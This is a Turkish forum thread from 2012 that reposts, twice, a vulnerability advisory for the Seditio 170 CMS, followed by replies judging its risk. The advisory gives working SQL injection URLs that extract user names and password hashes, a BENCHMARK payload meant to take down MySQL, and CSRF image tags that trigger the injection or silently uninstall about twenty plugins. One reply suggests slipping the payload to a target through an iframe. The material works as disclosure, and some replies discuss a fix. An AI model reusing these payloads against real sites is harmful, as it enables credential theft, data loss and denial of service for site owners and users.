M4ster - 2012-05-29 10:16 GMT -
Son zamanlarda hek?rlar seditio ile ?ok u?ra?maya ba?lad?, yeni bir a??k daha ??km?? injelemeniz i?in a?a??ya kodlar? koydum, Kaan a???? kontrol edip risk seviyesini sizlere bildirecektir.
Link: http://packetstormsecurity.org/f.....tion.html
Son zamanlarda hek?rlar seditio ile ?ok u?ra?maya ba?lad?, yeni bir a??k daha ??km?? injelemeniz i?in a?a??ya kodlar? koydum, Kaan a???? kontrol edip risk seviyesini sizlere bildirecektir.
Kod:
============================================================
Vulnerable Software: Seditio 170 (seditio-build170.20120302)
Downloaded from:http://www.neocrome.net/files/code/seditio-build170.20120302.rar
(MD5 SUM:beb6adc6abb56f947698c1efdbae9430 *seditio-build170.20120302.rar)
============================================================
Tested:
*php.ini MAGIC_QUOTES_GPC OFF*
Safe mode off
/*
OS: Windows XP SP2 (32 bit)
Apache: 2.2.21.0
PHP Version: 5.2.17.17
mysql> select version()
-> ;
+-----------+
| version() |
+-----------+
| 5.5.21 |
+-----------+
*/
===========================================================
Vuln Desc:
Seditio 170 (seditio-build170.20120302) is Prone to SQL injection vulnerability.
Note:*For successfull exploitation requires administrative authentication to system.*
//system/core/admin/admin.hits.inc.php
//Vulnerable Code Section
$f = sed_import('f','G','TXT');
$v = sed_import('v','G','TXT');
if ($f=='year' || $f=='month')
{
$adminpath[] = array ("admin.php?m=hits&f=".$f."&v=".$v, "(".$v.")");
$sql = sed_sql_query("SELECT * FROM $db_stats WHERE stat_name LIKE '$v%' ORDER BY stat_name DESC");
Exploit:
Extract user(s)/admin(s)/moder(s) details:
<a href="http://192.168.0.15/learn/128/sed/seditio.170/admin.php?m=hits&f=year&v=1%27%20union%20select%201,user_name%20from%20sed170_users%20limit%201--%20or%271%27" target="_blank"><b>http://192.168.0.15/learn/128/se.....or%271%27</b></a>!=%271--
<a href="http://192.168.0.15/learn/128/sed/seditio.170/admin.php?m=hits&f=year&v=1%27%20union%20select%201,concat%28user_name,0x3a,user_password%29%20from%20sed170_users%20where%20user_id=1--%20or%271%27" target="_blank"><b>http://192.168.0.15/learn/128/se.....or%271%27</b></a>!=%271--
<a href="http://192.168.0.15/learn/128/sed/seditio.170/admin.php?m=hits&f=year&v=1%27%20union%20select%201,concat%28user_name,0x3a,user_password%29%20from%20sed170_users--%20or%271%27" target="_blank"><b>http://192.168.0.15/learn/128/se.....or%271%27</b></a>!=%271--
<a href="http://192.168.0.15/learn/128/sed/seditio.170/admin.php?m=hits&f=year&v=1%27%20union%20select%201,concat%28user_name,0x3a,user_password%29%20from%20sed170_users%20where%20user_id=1--%20or%271%27" target="_blank"><b>http://192.168.0.15/learn/128/se.....or%271%27</b></a>!=%271--
Overload MYSQL server:(As result Mysql Server Goes Down+High CPU Load in other words: Create Denial Of Service throught sql injection)
<a href="http://192.168.0.15/learn/128/sed/seditio.170/admin.php?m=hits&f=year&v=1%27%20or%20%28select%20benchmark%28100000000000000000,sha1%28md5%28now%28%29%29%29%29%29%20or%271%27" target="_blank"><b>http://192.168.0.15/learn/128/se.....or%271%27</b></a>!=%271--
Note: It can be mixed with CSRF especially if you have no any access to system as admin.
In eg:
<img src="http://192.168.0.15/learn/128/sed/seditio.170/admin.php?m=hits&f=year&v=1%27%20or%20%28select%20benchmark%28100000000000000000,sha1%28md5%28now%28%29%29%29%29%29%20or%271%27!=%271--" />
Print screen:
<a href="http://s019.radikal.ru/i625/1204/6d/842088135393.png" target="_blank"><b>http://s019.radikal.ru/i625/1204.....35393.png</b></a>
Seditio 170 (seditio-build170.20120302) also prone to CSRF (Cross Site Request Forgery)
vulnerability because it doesn't checks request validity throught $_GET request
and as result we can silently Uninstall/stop/pause/start plugins which may cause:
Data loss,functionality loss.
===========================================================================================
/*Tested with Seditio 165/seditio-build170.20120302 versions [Uninstall Plugins] CSRF exploit.*/
//Works for me.
<img src="http://192.168.0.15/learn/128/sed/seditio165/admin.php?m=plug&a=edit&pl=Highslide_iResizer&b=uninstall" />
<img src="http://192.168.0.15/learn/128/sed/seditio165/admin.php?m=plug&a=edit&pl=adminqv&b=uninstall" />
<img src="http://192.168.0.15/learn/128/sed/seditio165/admin.php?m=plug&a=edit&pl=cleaner&b=uninstall" />
<img src="http://192.168.0.15/learn/128/sed/seditio165/admin.php?m=plug&a=edit&pl=contact&b=uninstall" />
<img src="http://192.168.0.15/learn/128/sed/seditio165/admin.php?m=plug&a=edit&pl=forumstats&b=uninstall" />
<img src="http://192.168.0.15/learn/128/sed/seditio165/admin.php?m=plug&a=edit&pl=gallery&b=uninstall" />
<img src="http://192.168.0.15/learn/128/sed/seditio165/admin.php?m=plug&a=edit&pl=ipsearch&b=uninstall" />
<img src="http://192.168.0.15/learn/128/sed/seditio165/admin.php?m=plug&a=edit&pl=massmovetopics&b=uninstall" />
<img src="http://192.168.0.15/learn/128/sed/seditio165/admin.php?m=plug&a=edit&pl=news&b=uninstall" />
<img src="http://192.168.0.15/learn/128/sed/seditio165/admin.php?m=plug&a=edit&pl=passrecover&b=uninstall" />
<img src="http://192.168.0.15/learn/128/sed/seditio165/admin.php?m=plug&a=edit&pl=recentitems&b=uninstall" />
<img src="http://192.168.0.15/learn/128/sed/seditio165/admin.php?m=plug&a=edit&pl=search&b=uninstall" />
<img src="http://192.168.0.15/learn/128/sed/seditio165/admin.php?m=plug&a=edit&pl=skineditor&b=uninstall" />
<img src="http://192.168.0.15/learn/128/sed/seditio165/admin.php?m=plug&a=edit&pl=statistics&b=uninstall" />
<img src="http://192.168.0.15/learn/128/sed/seditio165/admin.php?m=plug&a=edit&pl=textboxer2&b=uninstall" />
<img src="http://192.168.0.15/learn/128/sed/seditio165/admin.php?m=plug&a=edit&pl=dbtools&b=uninstall" />
<img src="http://192.168.0.15/learn/128/sed/seditio165/admin.php?m=plug&a=edit&pl=pmoku&b=uninstall" />
<img src="http://192.168.0.15/learn/128/sed/seditio165/admin.php?m=plug&a=edit&pl=modcp&b=uninstall" />
<img src="http://192.168.0.15/learn/128/sed/seditio165/admin.php?m=plug&a=edit&pl=guestbook&b=uninstall" />
<img src="http://192.168.0.15/learn/128/sed/seditio165/admin.php?m=plug&a=edit&pl=pmblocker_se&b=uninstall" />
==============================================================================================
Information Disclosure:
Try to post in inputs very long string.
Application will expose column.names which is not acceptable anymore from security consideration.
In eg:
Client Side validation:
<tr>
<td>Location:</td>
<td><input type="text" class="text" name="ruserlocation" value="" size="32" maxlength="64" /></td>
</tr>
<a href="http://192.168.0.15/learn/128/sed/seditio.170/users.php?m=profile&a=update&x=EONODP" target="_blank"><b>http://192.168.0.15/learn/128/se.....&x=EONODP</b></a>
Post data:
userid=1&curpassword=&ruserhideemail=1&ruserpmnotify=0&ruserskin=artic&ruserlang=en&rusercountry=00&ruserlocation=aaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&rusertimezone=-12&ruserwebsite=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&
ryear=0&rmonth=0&rday=0&ruseroccupation=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&rusergender=U&MAX_FILE_SIZE=65536000&userfile=&rusertext=&rnewpass1=&rnewpass2=&x=EONODP
Error:
Title of your site
2012-04-12 04:55 / Fatal error : SQL error : Data too long for column 'user_occupation' at row 1
Persistent Cross Site Scripting vulnerability still unfixed.(from Seditio 161)
Same Info/Path disclosures still unfixed.(from Seditio 161).
("Thanks" for TinyMCE editor and thanks to client side validation)(from Seditio 161)
I notified about it here+ to vendor too but it still unfixed in 170.20120302 too.
====================PLEASE==HELP TO KEEP SEDITIO SECURE=================================
Thank you.
/AkaStep ^_^
Vulnerable Software: Seditio 170 (seditio-build170.20120302)
Downloaded from:http://www.neocrome.net/files/code/seditio-build170.20120302.rar
(MD5 SUM:beb6adc6abb56f947698c1efdbae9430 *seditio-build170.20120302.rar)
============================================================
Tested:
*php.ini MAGIC_QUOTES_GPC OFF*
Safe mode off
/*
OS: Windows XP SP2 (32 bit)
Apache: 2.2.21.0
PHP Version: 5.2.17.17
mysql> select version()
-> ;
+-----------+
| version() |
+-----------+
| 5.5.21 |
+-----------+
*/
===========================================================
Vuln Desc:
Seditio 170 (seditio-build170.20120302) is Prone to SQL injection vulnerability.
Note:*For successfull exploitation requires administrative authentication to system.*
//system/core/admin/admin.hits.inc.php
//Vulnerable Code Section
$f = sed_import('f','G','TXT');
$v = sed_import('v','G','TXT');
if ($f=='year' || $f=='month')
{
$adminpath[] = array ("admin.php?m=hits&f=".$f."&v=".$v, "(".$v.")");
$sql = sed_sql_query("SELECT * FROM $db_stats WHERE stat_name LIKE '$v%' ORDER BY stat_name DESC");
Exploit:
Extract user(s)/admin(s)/moder(s) details:
<a href="http://192.168.0.15/learn/128/sed/seditio.170/admin.php?m=hits&f=year&v=1%27%20union%20select%201,user_name%20from%20sed170_users%20limit%201--%20or%271%27" target="_blank"><b>http://192.168.0.15/learn/128/se.....or%271%27</b></a>!=%271--
<a href="http://192.168.0.15/learn/128/sed/seditio.170/admin.php?m=hits&f=year&v=1%27%20union%20select%201,concat%28user_name,0x3a,user_password%29%20from%20sed170_users%20where%20user_id=1--%20or%271%27" target="_blank"><b>http://192.168.0.15/learn/128/se.....or%271%27</b></a>!=%271--
<a href="http://192.168.0.15/learn/128/sed/seditio.170/admin.php?m=hits&f=year&v=1%27%20union%20select%201,concat%28user_name,0x3a,user_password%29%20from%20sed170_users--%20or%271%27" target="_blank"><b>http://192.168.0.15/learn/128/se.....or%271%27</b></a>!=%271--
<a href="http://192.168.0.15/learn/128/sed/seditio.170/admin.php?m=hits&f=year&v=1%27%20union%20select%201,concat%28user_name,0x3a,user_password%29%20from%20sed170_users%20where%20user_id=1--%20or%271%27" target="_blank"><b>http://192.168.0.15/learn/128/se.....or%271%27</b></a>!=%271--
Overload MYSQL server:(As result Mysql Server Goes Down+High CPU Load in other words: Create Denial Of Service throught sql injection)
<a href="http://192.168.0.15/learn/128/sed/seditio.170/admin.php?m=hits&f=year&v=1%27%20or%20%28select%20benchmark%28100000000000000000,sha1%28md5%28now%28%29%29%29%29%29%20or%271%27" target="_blank"><b>http://192.168.0.15/learn/128/se.....or%271%27</b></a>!=%271--
Note: It can be mixed with CSRF especially if you have no any access to system as admin.
In eg:
<img src="http://192.168.0.15/learn/128/sed/seditio.170/admin.php?m=hits&f=year&v=1%27%20or%20%28select%20benchmark%28100000000000000000,sha1%28md5%28now%28%29%29%29%29%29%20or%271%27!=%271--" />
Print screen:
<a href="http://s019.radikal.ru/i625/1204/6d/842088135393.png" target="_blank"><b>http://s019.radikal.ru/i625/1204.....35393.png</b></a>
Seditio 170 (seditio-build170.20120302) also prone to CSRF (Cross Site Request Forgery)
vulnerability because it doesn't checks request validity throught $_GET request
and as result we can silently Uninstall/stop/pause/start plugins which may cause:
Data loss,functionality loss.
===========================================================================================
/*Tested with Seditio 165/seditio-build170.20120302 versions [Uninstall Plugins] CSRF exploit.*/
//Works for me.
<img src="http://192.168.0.15/learn/128/sed/seditio165/admin.php?m=plug&a=edit&pl=Highslide_iResizer&b=uninstall" />
<img src="http://192.168.0.15/learn/128/sed/seditio165/admin.php?m=plug&a=edit&pl=adminqv&b=uninstall" />
<img src="http://192.168.0.15/learn/128/sed/seditio165/admin.php?m=plug&a=edit&pl=cleaner&b=uninstall" />
<img src="http://192.168.0.15/learn/128/sed/seditio165/admin.php?m=plug&a=edit&pl=contact&b=uninstall" />
<img src="http://192.168.0.15/learn/128/sed/seditio165/admin.php?m=plug&a=edit&pl=forumstats&b=uninstall" />
<img src="http://192.168.0.15/learn/128/sed/seditio165/admin.php?m=plug&a=edit&pl=gallery&b=uninstall" />
<img src="http://192.168.0.15/learn/128/sed/seditio165/admin.php?m=plug&a=edit&pl=ipsearch&b=uninstall" />
<img src="http://192.168.0.15/learn/128/sed/seditio165/admin.php?m=plug&a=edit&pl=massmovetopics&b=uninstall" />
<img src="http://192.168.0.15/learn/128/sed/seditio165/admin.php?m=plug&a=edit&pl=news&b=uninstall" />
<img src="http://192.168.0.15/learn/128/sed/seditio165/admin.php?m=plug&a=edit&pl=passrecover&b=uninstall" />
<img src="http://192.168.0.15/learn/128/sed/seditio165/admin.php?m=plug&a=edit&pl=recentitems&b=uninstall" />
<img src="http://192.168.0.15/learn/128/sed/seditio165/admin.php?m=plug&a=edit&pl=search&b=uninstall" />
<img src="http://192.168.0.15/learn/128/sed/seditio165/admin.php?m=plug&a=edit&pl=skineditor&b=uninstall" />
<img src="http://192.168.0.15/learn/128/sed/seditio165/admin.php?m=plug&a=edit&pl=statistics&b=uninstall" />
<img src="http://192.168.0.15/learn/128/sed/seditio165/admin.php?m=plug&a=edit&pl=textboxer2&b=uninstall" />
<img src="http://192.168.0.15/learn/128/sed/seditio165/admin.php?m=plug&a=edit&pl=dbtools&b=uninstall" />
<img src="http://192.168.0.15/learn/128/sed/seditio165/admin.php?m=plug&a=edit&pl=pmoku&b=uninstall" />
<img src="http://192.168.0.15/learn/128/sed/seditio165/admin.php?m=plug&a=edit&pl=modcp&b=uninstall" />
<img src="http://192.168.0.15/learn/128/sed/seditio165/admin.php?m=plug&a=edit&pl=guestbook&b=uninstall" />
<img src="http://192.168.0.15/learn/128/sed/seditio165/admin.php?m=plug&a=edit&pl=pmblocker_se&b=uninstall" />
==============================================================================================
Information Disclosure:
Try to post in inputs very long string.
Application will expose column.names which is not acceptable anymore from security consideration.
In eg:
Client Side validation:
<tr>
<td>Location:</td>
<td><input type="text" class="text" name="ruserlocation" value="" size="32" maxlength="64" /></td>
</tr>
<a href="http://192.168.0.15/learn/128/sed/seditio.170/users.php?m=profile&a=update&x=EONODP" target="_blank"><b>http://192.168.0.15/learn/128/se.....&x=EONODP</b></a>
Post data:
userid=1&curpassword=&ruserhideemail=1&ruserpmnotify=0&ruserskin=artic&ruserlang=en&rusercountry=00&ruserlocation=aaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&rusertimezone=-12&ruserwebsite=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&
ryear=0&rmonth=0&rday=0&ruseroccupation=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&rusergender=U&MAX_FILE_SIZE=65536000&userfile=&rusertext=&rnewpass1=&rnewpass2=&x=EONODP
Error:
Title of your site
2012-04-12 04:55 / Fatal error : SQL error : Data too long for column 'user_occupation' at row 1
Persistent Cross Site Scripting vulnerability still unfixed.(from Seditio 161)
Same Info/Path disclosures still unfixed.(from Seditio 161).
("Thanks" for TinyMCE editor and thanks to client side validation)(from Seditio 161)
I notified about it here+ to vendor too but it still unfixed in 170.20120302 too.
====================PLEASE==HELP TO KEEP SEDITIO SECURE=================================
Thank you.
/AkaStep ^_^
Link: http://packetstormsecurity.org/f.....tion.html
LocaL - 2012-05-29 10:21 GMT -
bunu bizim takimdan saygi deyer Baskanimiz bulmusdur ismide AkaStep.
bunu bizim takimdan saygi deyer Baskanimiz bulmusdur ismide AkaStep.
MUST! - 2012-05-29 11:40 GMT -
Hackten pek anlamam ama san?r?m sadece admin yetkisine sahip ki?iler bilgileri g?rebilir.
$v = sed_import('v','G','TXT')
k?sm? altakiyle de?i?tirildi?inde sorun ortadan kalk?yor gibi
$v = sed_import('v','P','TXT')
Hackten pek anlamam ama san?r?m sadece admin yetkisine sahip ki?iler bilgileri g?rebilir.
$v = sed_import('v','G','TXT')
k?sm? altakiyle de?i?tirildi?inde sorun ortadan kalk?yor gibi
$v = sed_import('v','P','TXT')
M4ster - 2012-05-29 16:35 GMT -
admin panele eri?mek gerek, bu a??k biraz sa?ma olmu? sanki
ama yinede bunu bir html i?inde iframe ile hedef ki?iye istemeden ?al??t?rabilirsin birde log sistemi yapars?n karma??k olur ama olur 
admin panele eri?mek gerek, bu a??k biraz sa?ma olmu? sanki
ama yinede bunu bir html i?inde iframe ile hedef ki?iye istemeden ?al??t?rabilirsin birde log sistemi yapars?n karma??k olur ama olur Ales McGregor - 2012-05-29 17:35 GMT -
Bu benim versiyona benzemiyor.. acaba olivierin 170 versiyonu ola bilirmi ?
Bu benim versiyona benzemiyor.. acaba olivierin 170 versiyonu ola bilirmi ?
Kaan - 2012-05-29 19:11 GMT -
Evet Admin yetkisi olmayan bi?ey yapamaz zaten o nedenle o kadar riskli de?il zaten g?l?p ge?ebilirsiniz T?m cms sistemler ayn? ?ekilde ?al??abilir bu arkada? biraz fazla abart?yor.
Bu ac?klar biraz sa?ma geldi ama yinede incelemek gerekiyor sizde test edebilirsiniz sitelerinizde ama localde denemeyinneden mi localde g?venlik olmad?g? i?in bir cok kod rahatl?kla ?al??abiliyor ama normal sunucularda ?al??m?yor bu nedenle kendi hostunuza kurup test ediniz. Uygun bir zaman da bende incelicem.
Alıntı
#7438 MUST! :
Hackten pek anlamam ama san?r?m sadece admin yetkisine sahip ki?iler bilgileri g?rebilir.
$v = sed_import('v','G','TXT')
k?sm? altakiyle de?i?tirildi?inde sorun ortadan kalk?yor gibi
$v = sed_import('v','P','TXT')
Evet Admin yetkisi olmayan bi?ey yapamaz zaten o nedenle o kadar riskli de?il zaten g?l?p ge?ebilirsiniz T?m cms sistemler ayn? ?ekilde ?al??abilir bu arkada? biraz fazla abart?yor.
Bu ac?klar biraz sa?ma geldi ama yinede incelemek gerekiyor sizde test edebilirsiniz sitelerinizde ama localde denemeyinneden mi localde g?venlik olmad?g? i?in bir cok kod rahatl?kla ?al??abiliyor ama normal sunucularda ?al??m?yor bu nedenle kendi hostunuza kurup test ediniz. Uygun bir zaman da bende incelicem.
Kaan - 2012-05-30 01:20 GMT -
Ek olarak localde denedi?i i?in her?ey ?al???yor normal sunucuda hi? bir ?ekilde ?al??mayacakt?r ?ahsen bende ?al??mad?.
Profil alan? ise 258 karakter den fazla almad?g? i?in oda bo? bir hack y?ntemi
Endi?e edicek bi?i yok yani yine bo? i?lerle u?ra??yorlar
son mesaj 1 dakika
Bi?ey buldu?u yok hi? bir ?ekilde ?al??m?yor.
Bu mesaj Kaan tarafından 2012-05-30 01:22 GMT, 5200 Gün önce düzenlendi.
Ek olarak localde denedi?i i?in her?ey ?al???yor normal sunucuda hi? bir ?ekilde ?al??mayacakt?r ?ahsen bende ?al??mad?.
Profil alan? ise 258 karakter den fazla almad?g? i?in oda bo? bir hack y?ntemi
Endi?e edicek bi?i yok yani yine bo? i?lerle u?ra??yorlar
son mesaj 1 dakika
Alıntı
#7436 LocaL :
bunu bizim takimdan saygi deyer Baskanimiz bulmusdur ismide AkaStep.
Bi?ey buldu?u yok hi? bir ?ekilde ?al??m?yor.
Bu mesaj Kaan tarafından 2012-05-30 01:22 GMT, 5200 Gün önce düzenlendi.